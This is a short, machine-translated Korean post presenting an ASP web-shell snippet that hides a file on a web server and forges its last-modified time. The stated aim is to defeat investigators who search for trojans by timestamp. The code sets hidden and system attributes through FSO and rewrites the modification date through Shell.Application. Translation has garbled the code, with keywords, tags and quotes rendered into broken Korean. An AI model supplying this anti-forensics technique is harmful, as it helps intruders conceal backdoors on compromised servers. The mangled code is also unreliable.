Aspshell은 파일의 마지막 수정 시간을 숨기고 수정하므로 향후 트로이 목마를 검색할 때 단순히 시간만으로 판단할 수는 없습니다. 다음과 같이 코드 코드를 복사합니다.
<%
'aspshell 파일의 마지막 수정 시간 숨기기 및 수정
'원리: 읽기 전용, 숨김, 시스템 등으로 설정하는 등 FSO를 통해 파일의 속성을 수정할 수 있습니다. FSO의 속성 속성은 파일 속성을 수정합니다. 1은 읽기 전용이고 2는 숨김입니다. 4는 시스템 파일입니다
'shell.application을 통해 파일의 마지막 수정 시간을 재설정할 수 있습니다.
'2009/02/24 글 작성자: skyfire
response.write <양식 방법=게시물>
response.write 경로: <input name=path value='&server.mappath(/)&' size='30'>(/로 끝나야 함)<br />
response.write 파일 이름: <입력 이름=파일 이름 값='test.txt' 크기='30'><br />
response.write 수정 시간: <입력 이름=시간 값='12/30/2099 12:30:30' 크기='30'><br />
response.write <입력 유형=제출 값=파일 수정 및 숨기기>
응답.쓰기 </form>
'제출된 매개변수 가져오기
경로 설정=request.Form(경로)
set fileName=request.Form(파일 이름)
newTime=request.Form(시간) 설정
if( (len(path)>0)and(len(fileName)>0)and(len(newTime)>0) )then
'fso를 통해 파일 속성 설정
fso=Server.CreateObject(Scripting.FileSystemObject) 설정
파일 설정=fso.getFile(경로&파일 이름)
file.attributes=2+4 '파일 속성을 숨김 + 시스템으로 설정
'shell.Application을 통해 파일의 마지막 수정 시간을 수정합니다.
shell=Server.CreateObject(Shell.Application) 설정
app_path=shell.NameSpace(server.mappath(.)) 설정
app_file=app_path.ParseName(파일 이름) 설정
app_file.Modifydate=newTime
종료하면
%>